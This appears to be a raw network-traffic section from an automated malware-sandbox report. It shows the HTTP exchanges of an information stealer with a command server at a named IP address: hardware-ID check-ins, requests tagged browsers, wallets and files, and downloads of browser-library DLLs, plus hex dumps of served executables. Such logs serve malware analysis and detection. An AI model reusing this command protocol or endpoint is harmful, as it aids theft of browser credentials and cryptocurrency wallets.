Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 16:29:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 16:29:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 16:29:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 194.87.29.53Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAFHost: 194.87.29.53Content-Length: 213Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 43 38 35 46 44 37 34 34 41 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6f 6c 65 68 5f 70 73 70 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 2d 2d 0d 0a Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="hwid"1C85FD744AAB69161091------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="build"oleh_psp------BAFBFCBGHDGCFHJJECAF--
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGDBAFHJJDAKEBGCFCBHost: 194.87.29.53Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="message"browsers------AEGDBAFHJJDAKEBGCFCB--
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJHost: 194.87.29.53Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="message"plugins------KEHCGCGCFHIDBFHIIJKJ--
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJHost: 194.87.29.53Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="message"fplugins------KFCFIEHCFIECBGCBFHIJ--
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGCHost: 194.87.29.53Content-Length: 6327Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /97f9710b31d15029/sqlite3.dll HTTP/1.1Host: 194.87.29.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGCBFHCFCFBFIEBGHJEHost: 194.87.29.53Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 194.87.29.53Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJHost: 194.87.29.53Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 2d 2d 0d 0a Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="file"------IJKFHDBKFCAAECBFIDHJ--
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHDAKFIJJKKEBGDBAAKHost: 194.87.29.53Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 2d 2d 0d 0a Data Ascii: ------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file"------AEHDAKFIJJKKEBGDBAAK--
Source: global traffic	HTTP traffic detected: GET /97f9710b31d15029/freebl3.dll HTTP/1.1Host: 194.87.29.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /97f9710b31d15029/mozglue.dll HTTP/1.1Host: 194.87.29.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /97f9710b31d15029/msvcp140.dll HTTP/1.1Host: 194.87.29.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /97f9710b31d15029/nss3.dll HTTP/1.1Host: 194.87.29.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /97f9710b31d15029/softokn3.dll HTTP/1.1Host: 194.87.29.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /97f9710b31d15029/vcruntime140.dll HTTP/1.1Host: 194.87.29.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIJJEGDBFIIDGCAKJEBHost: 194.87.29.53Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJHost: 194.87.29.53Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="message"wallets------DGHDHIDGHIDGIECBKKJJ--
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECGHost: 194.87.29.53Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="message"files------IECFIEGDBKJKFIDHIECG--
